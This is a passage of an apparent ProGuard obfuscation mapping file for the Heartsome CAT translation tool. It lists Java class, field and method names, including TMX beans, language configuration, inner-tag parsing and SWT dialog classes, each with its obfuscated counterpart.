java.lang.String creationdate -> ww + java.lang.String creationid -> DW + java.lang.String creationtool -> DX + java.lang.String creationtoolversion -> DY + java.lang.String datatype -> vK + java.lang.Object[] items -> items + java.lang.String oencoding -> DZ + java.lang.String otmf -> Ea + java.lang.String segtype -> Eb + java.lang.String srclang -> Ec + java.lang.String getAdminlang() -> getAdminlang + void setAdminlang(java.lang.String) -> setAdminlang + java.lang.String getChangedate() -> getChangedate + void setChangedate(java.lang.String) -> setChangedate + java.lang.String getChangeid() -> getChangeid + void setChangeid(java.lang.String) -> setChangeid + java.lang.String getCreationdate() -> getCreationdate + void setCreationdate(java.lang.String) -> setCreationdate + java.lang.String getCreationid() -> getCreationid + void setCreationid(java.lang.String) -> setCreationid + java.lang.String getCreationtool() -> getCreationtool + void setCreationtool(java.lang.String) -> setCreationtool + java.lang.String getCreationtoolversion() -> getCreationtoolversion + void setCreationtoolversion(java.lang.String) -> setCreationtoolversion + java.lang.String getDatatype() -> getDatatype + void setDatatype(java.lang.String) -> setDatatype + java.lang.Object[] getItems() -> getItems + void setItems(java.lang.Object[]) -> setItems + java.lang.String getOencoding() -> getOencoding + void setOencoding(java.lang.String) -> setOencoding + java.lang.String getOtmf() -> getOtmf + void setOtmf(java.lang.String) -> setOtmf + java.lang.String getSegtype() -> getSegtype + void setSegtype(java.lang.String) -> setSegtype + java.lang.String getSrclang() -> getSrclang + void setSrclang(java.lang.String) -> setSrclang +net.heartsome.cat.common.bean.TmxNote -> net.heartsome.cat.common.bean.TmxNote: + java.lang.String xmlLang -> Ed + java.lang.String encoding -> encoding + java.lang.String content -> o + boolean equals(java.lang.Object) -> equals + java.lang.String getXmlLang() -> getXmlLang + void setXmlLang(java.lang.String) -> setXmlLang + java.lang.String getEncoding() -> getEncoding + void setEncoding(java.lang.String) -> setEncoding + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent +net.heartsome.cat.common.bean.TmxProp -> net.heartsome.cat.common.bean.TmxProp: + java.lang.String name -> name + java.lang.String value -> value + boolean equals(java.lang.Object) -> equals + void setName(java.lang.String) -> setName + java.lang.String getName() -> getName + void setValue(java.lang.String) -> setValue + java.lang.String getValue() -> getValue +net.heartsome.cat.common.bean.TmxSegement -> net.heartsome.cat.common.bean.TmxSegement: + int dbPk -> Ee + java.lang.String pureText -> Op + java.lang.String fullText -> Ef + java.lang.String langCode -> Eg + void setPureText(java.lang.String) -> setPureText + java.lang.String getPureText() -> getPureText + void setFullText(java.lang.String) -> setFullText + java.lang.String getFullText() -> getFullText + void setLangCode(java.lang.String) -> setLangCode + java.lang.String getLangCode() -> getLangCode + int getDbPk() -> getDbPk + void setDbPk(int) -> setDbPk +net.heartsome.cat.common.bean.TmxTU -> net.heartsome.cat.common.bean.TmxTU: + int tmId -> Eh + java.lang.String tuId -> Ei + java.util.List props -> Ej + java.util.List notes -> Ek + java.lang.String creationUser -> El + java.lang.String creationDate -> creationDate + java.lang.String changeDate -> ok + java.lang.String changeUser -> Em + java.lang.String creationTool -> En + java.lang.String creationToolVersion -> FZ + java.util.Map attributes -> attributes + net.heartsome.cat.common.bean.TmxSegement source -> KK + net.heartsome.cat.common.bean.TmxSegement target -> KL + java.util.List segments -> cV + net.heartsome.cat.common.bean.TmxContexts contexts -> KM + void setTmId(int) -> setTmId + int getTmId() -> getTmId + void setProps(java.util.List) -> setProps + boolean isContainsProp(net.heartsome.cat.common.bean.TmxProp) -> isContainsProp + void appendProp(net.heartsome.cat.common.bean.TmxProp) -> appendProp + java.util.List getProps() -> getProps + net.heartsome.cat.common.bean.TmxProp getPropByType(java.lang.String) -> getPropByType + java.util.List getNotes() -> getNotes + void appendNote(net.heartsome.cat.common.bean.TmxNote) -> appendNote + void setNotes(java.util.List) -> setNotes + void setCreationUser(java.lang.String) -> setCreationUser + java.lang.String getCreationUser() -> getCreationUser + void setCreationDate(java.lang.String) -> setCreationDate + java.lang.String getCreationDate() -> getCreationDate + void setChangeDate(java.lang.String) -> setChangeDate + java.lang.String getChangeDate() -> getChangeDate + void setChangeUser(java.lang.String) -> setChangeUser + java.lang.String getChangeUser() -> getChangeUser + void setSource(net.heartsome.cat.common.bean.TmxSegement) -> setSource + net.heartsome.cat.common.bean.TmxSegement getSource() -> getSource + void setTarget(net.heartsome.cat.common.bean.TmxSegement) -> setTarget + net.heartsome.cat.common.bean.TmxSegement getTarget() -> getTarget + java.util.List getSegments() -> getSegments + void setSegments(java.util.List) -> setSegments + void appendSegement(net.heartsome.cat.common.bean.TmxSegement) -> appendSegement + java.lang.String getTuId() -> getTuId + void setTuId(java.lang.String) -> setTuId + java.lang.String getCreationTool() -> getCreationTool + void setCreationTool(java.lang.String) -> setCreationTool + java.lang.String getCreationToolVersion() -> getCreationToolVersion + void setCreationToolVersion(java.lang.String) -> setCreationToolVersion + java.util.Map getAttributes() -> getAttributes + void setAttributes(java.util.Map) -> setAttributes + void appendAttribute(java.lang.String,java.lang.String) -> appendAttribute + net.heartsome.cat.common.bean.TmxContexts getContexts() -> getContexts + void setContexts(net.heartsome.cat.common.bean.TmxContexts) -> setContexts + void appendContext(java.lang.String,java.lang.String) -> appendContext +net.heartsome.cat.common.bean.TranslationUnitAnalysisResult -> net.heartsome.cat.common.bean.TranslationUnitAnalysisResult: + int similarity -> aR + java.lang.String dbName -> dbName + int getSimilarity() -> getSimilarity + void setSimilarity(int) -> setSimilarity + java.lang.String getDbName() -> getDbName + void setDbName(java.lang.String) -> setDbName +net.heartsome.cat.common.core.Constant -> net.heartsome.cat.common.core.Constant: + int RUNNING_MODE -> RUNNING_MODE + int MODE_DEBUG -> MODE_DEBUG + int MODE_DEPLOY -> MODE_DEPLOY + int RETURNVALUE_RESULT_SUCCESSFUL -> RETURNVALUE_RESULT_SUCCESSFUL + int RETURNVALUE_RESULT_FAILURE -> RETURNVALUE_RESULT_FAILURE + java.lang.String RETURNVALUE_RESULT -> RETURNVALUE_RESULT + java.lang.String RETURNVALUE_VALUE -> RETURNVALUE_VALUE + java.lang.String RETURNVALUE_MSG -> RETURNVALUE_MSG + java.lang.String RETURNVALUE_EXCEPTION -> RETURNVALUE_EXCEPTION + int CHANGECASE_UPPER -> CHANGECASE_UPPER + int CHANGECASE_LOWER -> CHANGECASE_LOWER + int CHANGECASE_SENTENCE -> CHANGECASE_SENTENCE + int CHANGECASE_TITLE -> CHANGECASE_TITLE + int CHANGECASE_TOGGLE -> CHANGECASE_TOGGLE + java.lang.String SEPARATORS_1 -> SEPARATORS_1 + java.lang.String SEPARATORS -> SEPARATORS + int EDITION_UE -> EDITION_UE + int EDITION_PRO -> EDITION_PRO + int EDITION_PE -> EDITION_PE + int EDITION_LITE -> EDITION_LITE + java.lang.String FOLDER_SRC -> FOLDER_SRC + java.lang.String FOLDER_TGT -> FOLDER_TGT + java.lang.String FOLDER_XLIFF -> FOLDER_XLIFF + java.lang.String FOLDER_SKL -> FOLDER_SKL + java.lang.String FOLDER_REPORT -> FOLDER_REPORT + java.lang.String FOLDER_INTERMEDDIATE -> FOLDER_INTERMEDDIATE + java.lang.String FOLDER_OTHER -> FOLDER_OTHER + java.lang.String SKL_INTERNAL_FILE -> SKL_INTERNAL_FILE + java.lang.String NAVIGATOR_VIEW_ID -> NAVIGATOR_VIEW_ID + java.lang.String FILE_CONFIG -> FILE_CONFIG + java.lang.String TEMP_EDITOR_HISTORY -> TEMP_EDITOR_HISTORY + char[] RESOURCE_ERRORCHAR -> RESOURCE_ERRORCHAR + java.lang.String PROJECT_PACK_EXTENSSION -> PROJECT_PACK_EXTENSSION +net.heartsome.cat.common.core.CoreActivator -> net.heartsome.cat.common.core.CoreActivator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.common.core.CoreActivator plugin -> f + java.lang.String PATH_PREF -> g + java.lang.String LANGUAGE_CODE_PATH -> LANGUAGE_CODE_PATH + java.lang.String ISO3166_1_PAHT -> ISO3166_1_PAHT + java.lang.String ISO639_1_PAHT -> ISO639_1_PAHT + java.lang.String ISO639_2_PAHT -> ISO639_2_PAHT + org.slf4j.Logger logger -> logger + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.common.core.CoreActivator getDefault() -> getDefault + java.io.InputStream getConfigurationFileInputStream(java.lang.String) -> getConfigurationFileInputStream +net.heartsome.cat.common.core.IPreferenceConstants -> net.heartsome.cat.common.core.IPreferenceConstants: + java.lang.String LANGUAGECODE -> LANGUAGECODE + java.lang.String LAST_DIRECTORY -> LAST_DIRECTORY + java.lang.String AUTOMATIC_OO -> AUTOMATIC_OO +net.heartsome.cat.common.core.exception.ImportException -> net.heartsome.cat.common.core.exception.ImportException: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.common.core.resource.Messages -> net.heartsome.cat.common.core.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.common.file.AbstractFileHandler -> net.heartsome.cat.common.file.AbstractFileHandler: + java.util.Map openFile(java.lang.String) -> openFile + java.util.Map openFile(java.lang.String,int) -> a + java.util.Map openFile(java.io.File) -> openFile + java.util.Map openFile(java.io.File,int) -> openFile + java.util.Map openFiles(java.util.List) -> openFiles + java.util.Map closeFile(java.lang.String) -> closeFile + java.util.Map closeFile(java.io.File) -> closeFile + java.util.Map closeFiles(java.util.List) -> closeFiles + java.util.Map saveFile(java.lang.String,java.lang.String) -> saveFile + java.util.Map saveFile(java.io.File,java.io.File) -> saveFile + java.util.Map createFileHistory(int,int) -> createFileHistory +net.heartsome.cat.common.file.AbstractFileHandler$1 -> net.heartsome.cat.common.file.AbstractFileHandler$1: + long serialVersionUID -> serialVersionUID + net.heartsome.cat.common.file.AbstractFileHandler this$0 -> i + int val$maxSize -> j + boolean removeEldestEntry(java.util.Map$Entry) -> removeEldestEntry +net.heartsome.cat.common.file.FileManager -> net.heartsome.cat.common.file.FileManager: + void createZip(java.lang.String,java.util.zip.ZipOutputStream,java.lang.String) -> createZip + void createZip(java.lang.String,java.util.zip.ZipOutputStream,java.util.List) -> createZip + void addFileToZip(java.util.zip.ZipOutputStream,java.lang.String,java.lang.String) -> addFileToZip + void releaseZipToFile(java.lang.String,java.lang.String) -> releaseZipToFile + java.util.List getSubFiles(java.io.File,java.util.List) -> getSubFiles + java.io.File getRealFileName(java.lang.String,java.lang.String) -> a + java.lang.String getAbsFileName(java.lang.String,java.io.File) -> a + void deleteFileOrFolder(java.io.File) -> deleteFileOrFolder +net.heartsome.cat.common.file.LanguageConfiger -> net.heartsome.cat.common.file.LanguageConfiger: + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + java.io.File langConfigFile -> l + com.ximpleware.AutoPilot ap -> m + org.slf4j.Logger LOGGER -> LOGGER + void parseFile() -> parseFile + java.util.Map getAllLanguage() -> getAllLanguage + net.heartsome.cat.common.locale.Language getLanguageByCode(java.lang.String) -> getLanguageByCode + java.util.List getLanuagesByCodes(java.util.List) -> getLanuagesByCodes + void updateLanguageByCode(java.lang.String,net.heartsome.cat.common.locale.Language) -> updateLanguageByCode + void deleteLanguageByCode(java.lang.String) -> deleteLanguageByCode + void addLanguage(net.heartsome.cat.common.locale.Language) -> addLanguage + java.lang.String generateLangNode(net.heartsome.cat.common.locale.Language) -> a + boolean saveToFile(com.ximpleware.XMLModifier,java.io.File) -> a +net.heartsome.cat.common.file.XLFValidator -> net.heartsome.cat.common.file.XLFValidator: + org.slf4j.Logger logger -> logger + org.eclipse.swt.widgets.Shell shell -> shell + boolean blnMsg1 -> blnMsg1 + boolean blnIsOpenConfirmSrc -> blnIsOpenConfirmSrc + boolean blnIsOpenConfirmSrcY -> blnIsOpenConfirmSrcY + boolean blnIsOpenConfirmTgt -> blnIsOpenConfirmTgt + boolean blnIsOpenConfirmTgtY -> blnIsOpenConfirmTgtY + java.util.HashMap mapProjectLang -> n + boolean validateXliffFile(org.eclipse.core.resources.IFile) -> validateXliffFile + boolean validateXliffFile(java.lang.String) -> validateXliffFile + boolean validateXlifFileStr(java.util.List) -> validateXlifFileStr + boolean validateXliffFile(java.io.File) -> validateXliffFile + boolean validateXlifFiles(java.util.List) -> validateXlifFiles + boolean validateXlifIFiles(java.util.List) -> validateXlifIFiles + void resetFlag() -> resetFlag + java.lang.Object[] getProjectLang(org.eclipse.core.resources.IFile) -> a +net.heartsome.cat.common.innertag.InnerTagBean -> net.heartsome.cat.common.innertag.InnerTagBean: + int index -> index + java.lang.String name -> name + java.lang.String content -> o + net.heartsome.cat.common.innertag.TagType type -> p + boolean wrongTag -> q + int getIndex() -> getIndex + void setIndex(int) -> setIndex + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent + net.heartsome.cat.common.innertag.TagType getType() -> getType + void setType(net.heartsome.cat.common.innertag.TagType) -> setType + void setWrongTag(boolean) -> setWrongTag + boolean isWrongTag() -> isWrongTag + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.common.innertag.TagStyle -> net.heartsome.cat.common.innertag.TagStyle: + net.heartsome.cat.common.innertag.TagStyle INDEX -> INDEX + net.heartsome.cat.common.innertag.TagStyle SIMPLE -> SIMPLE + net.heartsome.cat.common.innertag.TagStyle FULL -> FULL + net.heartsome.cat.common.innertag.TagStyle curStyle -> curStyle + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagStyle -> r + net.heartsome.cat.common.innertag.TagStyle[] ENUM$VALUES -> s + net.heartsome.cat.common.innertag.TagStyle getNextStyle() -> getNextStyle + net.heartsome.cat.common.innertag.TagStyle getDefault() -> getDefault + net.heartsome.cat.common.innertag.TagStyle getDefault(boolean) -> getDefault + void setTagStyle(net.heartsome.cat.common.innertag.TagStyle) -> setTagStyle + net.heartsome.cat.common.innertag.TagStyle[] values() -> values + net.heartsome.cat.common.innertag.TagStyle valueOf(java.lang.String) -> valueOf + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagStyle() -> a +net.heartsome.cat.common.innertag.TagType -> net.heartsome.cat.common.innertag.TagType: + net.heartsome.cat.common.innertag.TagType STANDALONE -> STANDALONE + net.heartsome.cat.common.innertag.TagType START -> START + net.heartsome.cat.common.innertag.TagType END -> END + net.heartsome.cat.common.innertag.TagType[] ENUM$VALUES -> t + net.heartsome.cat.common.innertag.TagType[] values() -> values + net.heartsome.cat.common.innertag.TagType valueOf(java.lang.String) -> valueOf +net.heartsome.cat.common.innertag.factory.DefaultPlaceHolderBuilder -> net.heartsome.cat.common.innertag.factory.DefaultPlaceHolderBuilder: + java.lang.String getPlaceHolder(java.util.List,int) -> getPlaceHolder + int getIndex(java.util.List,java.lang.String) -> getIndex +net.heartsome.cat.common.innertag.factory.IInnerTagFactory -> net.heartsome.cat.common.innertag.factory.IInnerTagFactory: + java.lang.String parseInnerTag(java.lang.String) -> parseInnerTag + java.lang.String getText() -> getText + java.util.List getInnerTagBeans() -> getInnerTagBeans +net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder -> net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder: + java.lang.String getPlaceHolder(java.util.List,int) -> getPlaceHolder + int getIndex(java.util.List,java.lang.String) -> getIndex +net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder -> net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder: + java.lang.String UNICODE_PREFIX -> au + char MIN -> MIN + char MAX -> MAX + java.util.regex.Pattern PATTERN -> PATTERN + int getIndex(java.util.List,java.lang.String) -> getIndex + java.lang.String getPlaceHolder(java.util.List,int) -> getPlaceHolder +net.heartsome.cat.common.innertag.factory.TmxInnerTagFactory -> net.heartsome.cat.common.innertag.factory.TmxInnerTagFactory: + java.util.List getInnerTagBeans() -> getInnerTagBeans + java.lang.String getText() -> getText + java.lang.String parseInnerTag(java.lang.String) -> parseInnerTag +net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory -> net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory: + java.util.List standaloneTags -> w + java.util.List normalTags -> x + java.util.ArrayList beans -> u + java.lang.String text -> text + net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder placeHolderCreater -> v + java.util.Stack indexStack -> y + int start -> start + int maxIndex -> z + boolean HasStartTag -> A + boolean targetFlg -> av + boolean exist -> aw + void reset() -> reset + java.lang.String getText() -> getText + java.util.List getInnerTagBeans() -> getInnerTagBeans + java.lang.String parseInnerTag(java.lang.String,boolean) -> parseInnerTag + java.lang.String parseInnerTag(java.lang.String) -> parseInnerTag + void addInnerTagBean(net.heartsome.cat.common.innertag.TagType,java.lang.StringBuffer,java.lang.String,java.lang.String) -> a + java.lang.String getTagName(java.lang.String) -> getTagName +net.heartsome.cat.common.locale.Language -> net.heartsome.cat.common.locale.Language: + java.lang.String code -> code + java.lang.String name -> name + java.lang.String imagePath -> B + boolean bidi -> C + java.util.Locale locale -> locale + java.lang.String getCode() -> getCode + void setCode(java.lang.String) -> setCode + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + java.lang.String getImagePath() -> getImagePath + void setImagePath(java.lang.String) -> setImagePath + boolean isBidi() -> isBidi + void setBidi(boolean) -> setBidi + java.util.Locale getLocale() -> getLocale + java.lang.String toString() -> toString +net.heartsome.cat.common.locale.LocaleService -> net.heartsome.cat.common.locale.LocaleService: + java.lang.String[] pageCodes -> D + java.util.Map defaultLanguage -> E + net.heartsome.cat.common.file.LanguageConfiger langConfiger -> F + net.heartsome.cat.common.file.LanguageConfiger getLanguageConfiger() -> getLanguageConfiger + java.lang.String[] getPageCodes() -> getPageCodes + java.lang.String[] getLanguageCodes() -> getLanguageCodes + java.lang.String[] getLanguages() -> getLanguages + java.lang.String getLanguageDisplayString(net.heartsome.cat.common.locale.Language) -> b + java.util.Map getLanguageConfiguration() -> b + java.lang.String getLanguageConfigAsString() -> getLanguageConfigAsString + java.lang.String getLanguageCodeByLanguage(java.lang.String) -> getLanguageCodeByLanguage + java.lang.String getLanguageNameByLanguage(java.lang.String) -> getLanguageNameByLanguage + java.lang.String getLanguage(java.lang.String) -> getLanguage + java.lang.String getLanguageCode(java.lang.String) -> getLanguageCode + java.lang.String getLanguageName(java.lang.String) -> getLanguageName + java.lang.String[] getBidirectionalLangs() -> getBidirectionalLangs + java.lang.String getCountryName(java.lang.String) -> getCountryName + java.lang.String getISO639(java.lang.String) -> getISO639 + java.util.Map getDefaultLanguage() -> getDefaultLanguage + boolean verifyLanguages(java.util.Vector) -> verifyLanguages +net.heartsome.cat.common.operator.AbstractOperator -> net.heartsome.cat.common.operator.AbstractOperator: + void undo() -> undo + void redo() -> redo + void exit() -> exit + void setDocumentProperties(java.util.Map) -> setDocumentProperties + java.util.Map getDocumentProperties() -> getDocumentProperties + void cut() -> cut + void copy() -> copy + void paste() -> paste +net.heartsome.cat.common.resources.ResourceUtils -> net.heartsome.cat.common.resources.ResourceUtils: + int DEFAULT_BUFFER_SIZE -> DEFAULT_BUFFER_SIZE + org.eclipse.core.resources.IWorkspaceRoot root -> root + org.slf4j.Logger LOGGER -> LOGGER + void getFiles(org.eclipse.core.resources.IContainer,java.util.ArrayList,java.lang.String[]) -> getFiles + void getXliffs(org.eclipse.core.resources.IContainer,java.util.ArrayList) -> getXliffs + java.lang.String iFileToOSPath(org.eclipse.core.resources.IFile) -> iFileToOSPath + java.util.List IFilesToOsPath(java.util.List) -> IFilesToOsPath + java.io.File iFileToFile(org.eclipse.core.resources.IFile) -> iFileToFile + java.util.List iFilesToFiles(java.util.List) -> iFilesToFiles + void copyDirectory(java.io.File,java.io.File) -> copyDirectory + void copyFile(java.io.File,java.io.File) -> copyFile + java.lang.String toWorkspacePath(java.lang.String) -> toWorkspacePath + java.lang.String toWorkspacePath(org.eclipse.core.runtime.IPath) -> toWorkspacePath + org.eclipse.core.resources.IFile fileToIFile(java.lang.String) -> fileToIFile + java.util.List filesToIFiles(java.util.List) -> filesToIFiles + java.lang.String fullPathToLoction(java.lang.String) -> fullPathToLoction + void refreshCurentSelectProject() -> refreshCurentSelectProject + void refreshWorkSpace() -> refreshWorkSpace + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.common.resources.ResourceUtils$1 -> net.heartsome.cat.common.resources.ResourceUtils$1: + void run() -> run +net.heartsome.cat.common.tm.MatchQuality -> net.heartsome.cat.common.tm.MatchQuality: + int PENALTY -> G + java.lang.String[] ignorables -> H + boolean loaded -> I + java.lang.String LCS(java.lang.String,java.lang.String) -> b + int similarity(java.lang.String,java.lang.String) -> similarity + void main(java.lang.String[]) -> main + void loadIgnorables() -> c +net.heartsome.cat.common.ui.Activator -> net.heartsome.cat.common.ui.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.common.ui.Activator plugin -> J + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.common.ui.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.common.ui.HSDropDownButton -> net.heartsome.cat.common.ui.HSDropDownButton: + int DEFAULT_SPACES -> lO + java.lang.String EMPTY_SPACE -> oY + org.eclipse.swt.graphics.Color COLOR__BLACK -> oZ + org.eclipse.swt.widgets.Menu menu -> pD + org.eclipse.swt.widgets.Menu getMenu() -> getMenu + void setMenu(org.eclipse.swt.widgets.Menu) -> setMenu + void checkSubclass() -> checkSubclass + void setText(java.lang.String) -> setText + java.lang.String getText() -> getText + java.lang.String getSpaceByWidth(int) -> getSpaceByWidth + org.eclipse.swt.graphics.Color access$0() -> jW +net.heartsome.cat.common.ui.HSDropDownButton$1 -> net.heartsome.cat.common.ui.HSDropDownButton$1: + net.heartsome.cat.common.ui.HSDropDownButton this$0 -> pa + void paintControl(org.eclipse.swt.events.PaintEvent) -> paintControl +net.heartsome.cat.common.ui.HSDropDownButton$2 -> net.heartsome.cat.common.ui.HSDropDownButton$2: + net.heartsome.cat.common.ui.HSDropDownButton this$0 -> pa + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.common.ui.HSFontSettingComposite -> net.heartsome.cat.common.ui.HSFontSettingComposite: + org.eclipse.jface.viewers.ComboViewer fontNameComboViewer -> ax + org.eclipse.jface.viewers.ComboViewer fontSizeComboViewer -> ay + org.eclipse.swt.widgets.Label previewFontText -> az + org.eclipse.swt.graphics.Font previewFont -> aC + java.lang.String title -> title + org.eclipse.swt.graphics.FontData[] getFontSetingFont() -> getFontSetingFont + void initFont(java.lang.String,int) -> initFont + void dispose() -> dispose + void createContent() -> createContent + java.lang.String[] getSystemFonts() -> cE +net.heartsome.cat.common.ui.HSFontSettingComposite$1 -> net.heartsome.cat.common.ui.HSFontSettingComposite$1: + net.heartsome.cat.common.ui.HSFontSettingComposite this$0 -> aD + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.common.ui.HSFontSettingComposite$2 -> net.heartsome.cat.common.ui.HSFontSettingComposite$2: + net.heartsome.cat.common.ui.HSFontSettingComposite this$0 -> aD + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.common.ui.HsImageLabel -> net.heartsome.cat.common.ui.HsImageLabel: + org.eclipse.swt.widgets.Control control -> control + org.eclipse.swt.widgets.Composite body -> K + org.eclipse.swt.widgets.Label imageLabel -> imageLabel + org.eclipse.swt.widgets.Label descriptionLabel -> L + org.eclipse.jface.resource.ImageDescriptor imageDescription -> M + java.lang.String description -> description + org.eclipse.swt.graphics.Image image -> image + org.eclipse.swt.graphics.Point size -> size + org.eclipse.swt.widgets.Composite createControl(org.eclipse.swt.widgets.Composite) -> createControl + org.eclipse.swt.graphics.Point computeSize() -> computeSize + org.eclipse.swt.graphics.Point computeSize(int) -> computeSize + org.eclipse.swt.graphics.Point doComputeSize(int) -> aa + org.eclipse.swt.widgets.Label createDescriptionLabel(org.eclipse.swt.widgets.Composite) -> createDescriptionLabel + org.eclipse.swt.widgets.Label createImageLabel(org.eclipse.swt.widgets.Composite) -> a + void dispose() -> dispose + org.eclipse.swt.widgets.Control getControl() -> getControl + org.eclipse.jface.resource.ImageDescriptor getImageDescription() -> getImageDescription + java.lang.String getDescription() -> getDescription +net.heartsome.cat.common.ui.HsImageLabel$1 -> net.heartsome.cat.common.ui.HsImageLabel$1: + net.heartsome.cat.common.ui.HsImageLabel this$0 -> N + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog: + org.eclipse.jface.viewers.TreeViewer fViewer -> O + org.eclipse.jface.viewers.ILabelProvider fLabelProvider -> P + org.eclipse.jface.viewers.ITreeContentProvider fContentProvider -> Q + org.eclipse.ui.dialogs.ISelectionStatusValidator fValidator -> R + org.eclipse.jface.viewers.ViewerComparator fComparator -> S + boolean fAllowMultiple -> T + boolean fDoubleClickSelects -> U + java.lang.String fEmptyListMessage -> V + org.eclipse.core.runtime.IStatus fCurrStatus -> W + java.util.List fFilters -> X + java.lang.Object fInput -> Y + boolean fIsEmpty -> Z + int fWidth -> aa + int fHeight -> ab + void setInitialSelection(java.lang.Object) -> setInitialSelection + void setEmptyListMessage(java.lang.String) -> setEmptyListMessage + void setAllowMultiple(boolean) -> setAllowMultiple + void setDoubleClickSelects(boolean) -> setDoubleClickSelects + void setSorter(org.eclipse.jface.viewers.ViewerSorter) -> setSorter + void setComparator(org.eclipse.jface.viewers.ViewerComparator) -> setComparator + void addFilter(org.eclipse.jface.viewers.ViewerFilter) -> addFilter + void setValidator(org.eclipse.ui.dialogs.ISelectionStatusValidator) -> setValidator + void setInput(java.lang.Object) -> setInput + void setSize(int,int) -> setSize + void updateOKStatus() -> updateOKStatus + int open() -> open + void access$superCreate() -> d + void cancelPressed() -> cancelPressed + void computeResult() -> computeResult + void create() -> create + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.jface.viewers.TreeViewer createTreeViewer(org.eclipse.swt.widgets.Composite) -> createTreeViewer + org.eclipse.jface.viewers.TreeViewer doCreateTreeViewer(org.eclipse.swt.widgets.Composite,int) -> doCreateTreeViewer + org.eclipse.jface.viewers.TreeViewer getTreeViewer() -> getTreeViewer + boolean evaluateIfTreeEmpty(java.lang.Object) -> a + void access$superButtonPressed(int) -> access$superButtonPressed + void access$setResult(java.util.List) -> access$setResult + void handleShellCloseEvent() -> handleShellCloseEvent + void access$0(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> a + org.eclipse.jface.viewers.TreeViewer access$1(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> b + java.util.List access$2(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> c + org.eclipse.core.runtime.IStatus access$3(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> d + boolean access$4(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> e +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$1 -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$1: + net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog this$0 -> ac + void run() -> run +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$2 -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$2: + net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog this$0 -> ac + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$3 -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$3: + net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog this$0 -> ac + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$4 -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$4: + net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog this$0 -> ac + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog: +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider: + java.lang.Object[] EMPTY -> ad + org.eclipse.ui.internal.ide.dialogs.IFileStoreFilter fileFilter -> ae + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren + java.lang.Object[] getElements(java.lang.Object) -> getElements + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider$1 -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider$1: + net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider this$1 -> af + boolean val$showFiles -> ag + boolean accept(org.eclipse.core.filesystem.IFileStore) -> accept +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileLabelProvider -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileLabelProvider: + org.eclipse.swt.graphics.Image IMG_FOLDER -> ah + org.eclipse.swt.graphics.Image IMG_FILE -> ai + org.eclipse.swt.graphics.Image 